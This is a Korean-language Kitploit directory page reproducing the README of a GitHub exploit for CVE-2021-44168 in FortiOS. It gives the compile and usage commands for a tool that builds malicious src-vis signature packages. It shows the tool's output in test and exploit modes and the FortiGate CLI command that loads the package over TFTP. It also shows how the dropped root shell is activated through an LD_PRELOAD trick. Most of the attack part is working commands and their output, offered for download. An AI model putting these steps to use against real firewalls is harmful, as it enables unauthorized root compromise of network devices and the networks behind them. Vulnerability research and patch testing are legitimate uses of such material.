Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44168 — FortiOS 7.0.3 이전 버전의 'execute restore src-vis' 명령어에서 코드 다운로드 시 무결성 검사가 수행되지 않는 취약점 | Kitploit
도구/GitHubGitHub/0xhaggis/cve-2021-44168
Vulnerability AnalysisExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation
GitHub0xhaggis/cve-2021-44168

CVE-2021-44168

FortiOS 7.0.3 이전 버전의 'execute restore src-vis' 명령어에서 코드 다운로드 시 무결성 검사가 수행되지 않는 취약점

저장소 보기
2122년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44168 익스플로잇

목적

CVE-2021-44168을 익스플로잇하여 Fortigate 방화벽에 셸을 드롭하고, Fortigate의 일부 CLI 명령어 실행 시 작동하는 LD_PRELOAD 트릭을 통해 접근을 활성화합니다. 루트 셸을 얻습니다.

사용법

컴파일:

root@kitploit:~
gcc -o gen_src-vis_pkg_file gen_src-vis_pkg_file.c -lz

실행:

root@kitploit:~
% ./gen_src-vis_pkg_file
./gen_src-vis_pkg_file [ -t | -p ] filename.img
  -t            테스트 패키지 생성
  -p            익스플로잇 패키지 생성
  filename.img  이 파일에 기록

테스트 모드

테스트 모드는 pwned.txt라는 파일을 Fortigate 파일 시스템의 루트에 드롭합니다. 다음과 같이 테스트 패키지를 생성합니다:

root@kitploit:~
% ./gen_src-vis_pkg_file -t test.img
[+] 테스트 패키지 생성 중
[+] 패키지 파일 test.img에 삽입할 test.tar 읽는 중
[+] test.tar 압축 중 (10240 bytes)
[+] 압축된 크기: 115
[+] pkg_header 빌드
[+] pkg_header crc32: 0x16a384f1
[+] obj_header 빌드
[+] obj_type에 CIDB 사용
[+] obj_data   crc32: 0xe097e419
[+] obj_header crc32: 0xabdfc3cb
[+] pkg_header + obj_header + obj_data > test.img 쓰는 중
[+] 완료. 고래와 함께 안녕!

익스플로잇 모드

익스플로잇 모드는 FortiGate에 셸을 드롭하고 LD_PRELOAD 트릭을 통해 활성화하는 페이로드 패키지를 생성합니다. 익스플로잇 패키지를 생성하려면 다음과 같이 익스플로잇을 실행합니다:

root@kitploit:~
% ./gen_src-vis_pkg_file -p pwn.img
[+] 익스플로잇 패키지 생성 중
[+] 패키지 파일 pwn.img에 삽입할 pwn.tar 읽는 중
[+] pwn.tar 압축 중 (16465920 bytes)
[+] 압축된 크기: 6843825
[+] pkg_header 빌드
[+] pkg_header crc32: 0xd657d879
[+] obj_header 빌드
[+] obj_type에 CIDB 사용
[+] obj_data   crc32: 0xf373554b
[+] obj_header crc32: 0x3a7fdcd7
[+] pkg_header + obj_header + obj_data > pwn.img 쓰는 중
[+] 완료. 고래와 함께 안녕!

악성 패키지를 사용하여 루트 셸 얻기

FortiGate 관리자 CLI에서:

root@kitploit:~
FortiGate # execute restore src-vis tftp pwn.img 192.168.100.1
This operation will overwrite the current source visibility signatures!
Do you want to continue? (y/n)y

Please wait...

Connect to tftp server 192.168.100.1 ...
######

Get source visibility signatures from tftp server OK.
upd_manual_cid[255]-Updating src-vis plugin
doInstallUpdatePackage[981]-Full obj found for CIDB000
doInstallUpdatePackage[991]-Updating obj CIDB
installUpdateObject[323]-Step 1:Unpack obj 29, Total=1, cur=0
installUpdateObject[352]-Step 2:Prepare temp file for obj 29
installUpdObjRest[637]-Step 5:Backup /etc/cid.tar.gz->/tmp/update.backup
installUpdObjRest[651]-Step 6:Copy new object /tmp/updPiMCON->/etc/cid.tar.gz
installUpdObjRest[731]-Step 7:Validate object
installUpdObjRest[755]-Step 8:Re-initialize using new obj file
installUpdObjRest[767]-Step 9:Delete backup /tmp/update.backup
cid svr 13 req 4
__update_status[1181]-CIDB000 installed successfully
upd_status_save_status[114]-try to save on status file
upd_status_save_status[179]-Wrote status file
upd_manual_cid[284]-Update successful
./../../../../../data2/bfbin/rdate: Cannot create symlink to '/data2/bfbin/busybox'Error exit delayed from previous errorsupd_cfg_extract_unpacked2
upd_cfg_extract_cid_db_version[554]-version=06000000CIDB00000-00000.00000-0101010000
cid could not install sigs: version failed

FortiGate #

이 시점에서 Linux로 셸 아웃하는 CLI 명령어에서 LD_PRELOAD를 통해 접근 가능한 셸을 갖게 됩니다. 새로 드롭된 셸을 활성화하는 한 가지 방법은 다음과 같습니다:

root@kitploit:~
# fnsysctl ls
/ # 
/ # export PATH=/data2/bfbin:/bin
/ # uname -a
Linux FortiGate 3.2.16 #2 SMP Thu Mar 28 02:54:46 UTC 2019 x86_64 GNU/Linux

취약점 분석

추후 공개. 지금은 코드를 읽어보세요.

도구 다운로드